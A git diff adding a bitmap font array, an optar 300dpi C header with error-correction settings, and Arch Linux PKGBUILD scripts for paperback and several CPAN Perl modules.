0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0 + }; diff --git a/optar/optar.300dpi.h b/optar/optar.300dpi.h new file mode 100644 index 0000000..f5df3d6 --- /dev/null +++ b/optar/optar.300dpi.h @@ -0,0 +1,77 @@ +/* (c) GPL 2007 Karel 'Clock' Kulhavy, Twibright Labs */ + +#define MIN(x,y) ((x)<(y)?(x):(y)) +#define MAX(x,y) ((x)>(y)?(x):(y)) + +#define BORDER 2 /* In pixels. Thickness of the border */ +#define CHALF 3 /* Size of the cross half. Size of the cross is CHALF*2 x CHALF*2. + */ +#define CPITCH 24 /* Distance between cross centers */ + +/* XCROSSES A4 65, US Letter 67. */ +#define XCROSSES 32 /* Number of crosses horizontally */ +/* YCROSSES A4 93, US Letter 87. */ +#define YCROSSES 46 /* Number of crosses vertically */ + +#define DATA_WIDTH (CPITCH*(XCROSSES-1)+2*CHALF) /* The rectangle occupied by + the data and crosses */ +#define DATA_HEIGHT (CPITCH*(YCROSSES-1)+2*CHALF) +#define WIDTH (2*BORDER+DATA_WIDTH) /* In pixels, including the border */ +/* In pixels, including the border and the label */ + +#define TEXT_WIDTH 13 /* Width of a single letter */ + +/* Definitions for seq2xy */ + +/* Properties of the narrow horizontal strip, with crosses */ +#define NARROWHEIGHT (2*CHALF) +#define GAPWIDTH (CPITCH-2*CHALF) +#define NARROWWIDTH (GAPWIDTH*(XCROSSES-1)) /* Useful width */ +#define NARROWPIXELS (NARROWHEIGHT*NARROWWIDTH) /* Useful pixels */ + +/* Properties of the wide horizontal strip, without crosses */ +#define WIDEHEIGHT GAPWIDTH +#define WIDEWIDTH (WIDTH-2*BORDER) +#define WIDEPIXELS (WIDEHEIGHT*WIDEWIDTH) + +/* Amount of raw payload pixels in one narrow-wide strip pair */ +#define REPHEIGHT (NARROWHEIGHT+WIDEHEIGHT) +#define REPPIXELS (WIDEPIXELS+NARROWPIXELS) + +/* Total bits before hamming including the unused */ +#define TOTALBITS ((long)REPPIXELS*(YCROSSES-1)+NARROWPIXELS) + +/* Hamming codes with parity */ +#define FEC_ORDER 1 /* Can be 2 to 5 inclusive. + 5 is 26/32, + 4 is 11/16, + 3 is 4/8, + 2 is 4/1 + 1 is golay codes */ +#if FEC_ORDER==1 +/* Golay */ +#define FEC_LARGEBITS 24 +#define FEC_SMALLBITS 12 +#else +/* Hamming */ +#define FEC_LARGEBITS (1< +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=paperback +pkgver=1 +pkgrel=2 +pkgdesc="" +url="" +license="GPL" +arch=('all') +depends=('wine' 'cups' 'sane') +source=("http://ollydbg.de/Paperbak/PaperBak.exe") +md5sums=() + +build() { + #Make + cd ${srcdir}/${pkgname}_dist/ || return 1 + #rm -rf font.h + #cp -f ../font.h ./ + make clean || return 1 + make || return 1 + + #Install + mkdir -p ${pkgdir}/usr/bin/ + mkdir -p ${pkgdir}/usr/share/wine/paperback + + #Rights + chmod -R 755 ${pkgdir}/usr/bin +} diff --git a/perl-astro-moonphase/PKGBUILD b/perl-astro-moonphase/PKGBUILD new file mode 100644 index 0000000..94890aa --- /dev/null +++ b/perl-astro-moonphase/PKGBUILD @@ -0,0 +1,52 @@ +# PKGBUILD generated by pacpan +pkgname=perl-astro-moonphase +_realname=Astro-MoonPhase +pkgver=0.60 +pkgrel=1 +pkgdesc="Perl/CPAN module Astro::MoonPhase Information about the phase of the Moon" +arch=(any) +license=('unrestricted') +url="http://search.cpan.org/~brett/Astro-MoonPhase" +options=(!emptydirs) + +depends=('perl') + +#provides=('Astro-MoonPhase') +provides=('astro-moonphase=0.60' 'Astro::MoonPhase=0.60' 'perl-astro-moonphase=0.60') + +source=(http://search.cpan.org/CPAN/authors/id/B/BR/BRETT/Astro-MoonPhase-0.60.tar.gz) +md5sums=('746d03558509d5b596f2c92bc8100372') + +build() { + _expected_dir="${srcdir}/${_realname}-${pkgver}" + if [ -d "$_expected_dir" ]; then + cd "$_expected_dir" + else + _expected_dir="${srcdir}/$(bsdtar -t -f $(basename $source) | head -n1)" + if [ -d "$_expected_dir" ]; then + cd "$_expected_dir" + else + _makefile=$(find $srcdir -iname Makefile.PL) + if [ ! -z "$_makefile" ]; then + _expected_dir=$(dirname $_makefile) + if [ -d "$_expected_dir" ]; then + cd "$_expected_dir" + else + echo "ERROR unable to detect source directory" + echo "--> this is often due to CPAN's lack of standard naming conventions" + echo "--> it may be possible to fix this by adjusting the build function in the PKGBUILD" + fi + fi + fi + fi + # install module in vendor directories. + PERL_MM_USE_DEFAULT=1 perl Makefile.PL INSTALLDIRS=vendor || return 1 + make || return 1 + make install DESTDIR=${pkgdir} || return 1 + + # remove perllocal.pod and .packlist + find ${pkgdir} -name perllocal.pod -delete + find ${pkgdir} -name .packlist -delete +} + +# vim:set ts=2 sw=2 et: diff --git a/perl-fuse-simple/PKGBUILD b/perl-fuse-simple/PKGBUILD new file mode 100644 index 0000000..9e01e5b --- /dev/null +++ b/perl-fuse-simple/PKGBUILD @@ -0,0 +1,43 @@ +# Generated by Xyne::Arch::CPAN 0.07 + +pkgname=perl-fuse-simple +pkgver=1.0.0 +pkgrel=1 +pkgdesc="CPAN package - Fuse::Simple - Simple way to write filesystems in Perl using FUSE" +arch=('i686 x86_64') +url="http://search.cpan.org/dist/Fuse-Simple/" +license=('unknown') +source=('http://search.cpan.org/CPAN/authors/id/N/NO/NOSEYNICK/Fuse-Simple-1.00.tar.gz') +md5sums=('64d3db272b16b37d3278cfd3795a50ba') +sha256sums=('dbf82e43a06854d922d2380ea106a94681418ac98915461e52f8f6adca33acb2') +depends=('perl' 'perl-fuse') +options=(!emptydirs) + +build() { + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Makefile.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Makefile.PL INSTALLDIRS=vendor || return 1 + make || return 1 + make install DESTDIR="${pkgdir}" || return 1 + + else + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Build.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Build.PL INSTALLDIRS=vendor || return 1 + ./Build || return 1 + ./Build install destdir=${pkgdir} || return 1 + + else + echo "error: failed to detect build method for $pkgname" + echo "you may be able to fix this by editing the PKGBUILD" + return 1 + fi fi + + # remove perllocal.pod and .packlist + find ${pkgdir} -name perllocal.pod -delete + find ${pkgdir} -name .packlist -delete +} + +# vim:set ts=2 sw=2 et: diff --git a/perl-fuse-simple/perl/PKGBUILD b/perl-fuse-simple/perl/PKGBUILD new file mode 100644 index 0000000..a93474c --- /dev/null +++ b/perl-fuse-simple/perl/PKGBUILD @@ -0,0 +1,44 @@ +# Generated by Xyne::Arch::CPAN 0.07 + +pkgname=perl +pkgver=5.10.1 +pkgrel=1 +pkgdesc="Practical Extraction and Report Language" +arch=('i686 x86_64') +url="http://search.cpan.org/dist/perl/" +license=('perl') +source=('http://search.cpan.org/CPAN/authors/id/D/DA/DAPM/perl-5.10.1.tar.gz') +md5sums=('b9b2fdb957f50ada62d73f43ee75d044') +sha256sums=('cb7f26ea4b2b28d6644354d87a269d01cac1b635287dae64e88eeafa24b44f35') +provides=('perl-anydbm_file=1.0.0' 'perl-attributes=0.90.0' 'perl-attrs=1.30.0' 'perl-autouse=1.60.0' 'perl-b-concise=0.760.0' 'perl-b-deparse=0.890.0' 'perl-b-showlex=1.20.0' 'perl-b-terse=1.50.0' 'perl-b-xref=1.20.0' 'perl-b=1.220.0' 'perl-benchmark=1.110.0' 'perl-blib=1.40.0' 'perl-bytes=1.30.0' 'perl-carp=1.110.0' 'perl-charnames=1.70.0' 'perl-class-struct=0.630.0' 'perl-dbm_filter-compress=0.20.0' 'perl-dbm_filter-encode=0.20.0' 'perl-dbm_filter-int32=0.20.0' 'perl-dbm_filter-null=0.20.0' 'perl-dbm_filter-utf8=0.20.0' 'perl-dbm_filter=0.20.0' 'perl-devel-selfstubber=1.30.0' 'perl-diagnostics=1.170.0' 'perl-dirhandle=1.30.0' 'perl-dumpvalue=1.130.0' 'perl-english=1.40.0' 'perl-env=1.0.0' 'perl-extutils-xssymset=1.100.0' 'perl-fcntl=1.60.0' 'perl-file-basename=2.770.0' 'perl-file-checktree=4.400.0' 'perl-file-compare=1.100.600' 'perl-file-copy=2.140.0' 'perl-file-dosglob=1.10.0' 'perl-file-find=1.140.0' 'perl-file-glob=1.60.0' 'perl-file-stat=1.10.0' 'perl-filecache=1.80.0' 'perl-filehandle=2.20.0' 'perl-filetest=1.20.0' 'perl-findbin=1.500.0' 'perl-findext=1.20.0' 'perl-gdbm_file=1.90.0' 'perl-getopt-std=1.60.0' 'perl-haiku=0.340.0' 'perl-hash-util=0.70.0' 'perl-i18n-collate=1.10.0' 'perl-i18n-langinfo=0.20.0' 'perl-i18n-langtags-detect=1.30.0' 'perl-i18n-langtags-list=0.350.0' 'perl-i18n-langtags=0.350.0' 'perl-integer=1.0.0' 'perl-ipc-open2=1.30.0' 'perl-ipc-open3=1.40.0' 'perl-less=0.20.0' 'perl-locale=1.0.0' 'perl-maintainers=0.30.0' 'perl-ndbm_file=1.80.0' 'perl-net-hostent=1.10.0' 'perl-net-netent=1.0.0' 'perl-net-protoent=1.0.0' 'perl-net-servent=1.10.0' 'perl-o=1.10.0' 'perl-odbm_file=1.70.0' 'perl-opcode=1.110.0' 'perl-open=1.70.0' 'perl-ops=1.20.0' 'perl-optreecheck=0.20.0' 'perl-os2-dll=1.30.0' 'perl-os2-extattr=0.20.0' 'perl-os2-prfdb=0.40.0' 'perl-os2-rexx=1.40.0' 'perl-overload-numbers' 'perl-overload=1.70.0' 'perl-overloading=0.10.0' 'perl-perlio-encoding=0.110.0' 'perl-perlio-scalar=0.70.0' 'perl-perlio-via=0.70.0' 'perl-perlio=1.60.0' 'perl-pod-functions=1.30.0' 'perl-pod-html=1.90.0' 'perl-posix=1.170.0' 'perl-re=0.90.0' 'perl-sdbm_file=1.60.0' 'perl-search-dict=1.20.0' 'perl-selectsaver=1.20.0' 'perl-sigtrap=1.40.0' 'perl-socket=1.820.0' 'perl-sort=2.10.0' 'perl-strict=1.40.0' 'perl-subs=1.0.0' 'perl-symbol=1.70.0' 'perl-sys-hostname=1.110.0' 'perl-term-complete=1.402.0' 'perl-term-readline=1.40.0' 'perl-text-abbrev=1.10.0' 'perl-thread=3.20.0' 'perl-tie-array=1.30.0' 'perl-tie-handle=4.200.0' 'perl-tie-hash=1.30.0' 'perl-tie-memoize=1.100.0' 'perl-tie-scalar=1.10.0' 'perl-tie-stdhandle=4.200.0' 'perl-tie-substrhash=1.0.0' 'perl-time-gmtime=1.30.0' 'perl-time-localtime=1.20.0' 'perl-time-tm=1.0.0' 'perl-unicode-ucd=0.270.0' 'perl-universal=1.50.0' 'perl-user-grent=1.10.0' 'perl-user-pwent=1.0.0' 'perl-utf8=1.70.0' 'perl-vars=1.10.0' 'perl-vms-dclsym=1.30.0' 'perl-vms-filespec=1.120.0' 'perl-vms-stdio=2.400.0' 'perl-vmsish=1.20.0' 'perl-warnings-register=1.10.0' 'perl-warnings=1.60.0' 'perl-win32core=0.20.0' 'perl-xs-apitest=0.150.0' 'perl-xs-typemap=0.30.0') +options=(!emptydirs) + +build() { + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Makefile.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Makefile.PL INSTALLDIRS=vendor || return 1 + make || return 1 + make install DESTDIR="${pkgdir}" || return 1 + + else + _dir=$(find $srcdir -maxdepth 2 -type f -name 'Build.PL') + if [ ! -z "$_dir" ]; then + cd $(dirname "$_dir") + PERL_MM_USE_DEFAULT=1 perl Build.PL INSTALLDIRS=vendor || return 1 + ./Build || return 1 + ./Build install destdir=${pkgdir} || return 1 + + else + echo "error: failed to detect build method for $pkgname" + echo "you may be able to fix this by editing the PKGBUILD" + return 1 + fi fi + + # remove perllocal.pod and .packlist + find ${pkgdir} -name perllocal.pod -delete + find ${pkgdir} -name .packlist -delete +} + +# vim:set ts=2 sw=2 et: + diff --git a/perl-image-objectdetect/PKGBUILD b/perl-image-objectdetect/PKGBUILD new file mode 100644 index 0000000..e078b24 --- /dev/null +++ b/perl-image-objectdetect/PKGBUILD @@ -0,0 +1,44 @@ +# Generated by Xyne::Arch::CPAN 0.07 + +pkgname=perl-image-objectdetect +pkgver=0.110.0 +pkgrel=1 +pkgdesc="CPAN package - Simple module to detect objects from picture using OpenCV" +arch=('i686 x86_64') +url="http://search.cpan.org/dist/Image-ObjectDetect/" +license=('unknown') +source=('http://search.cpan.org/CPAN/authors/id/J/JI/JIRO/Image-ObjectDetect-0.11.tar.gz') 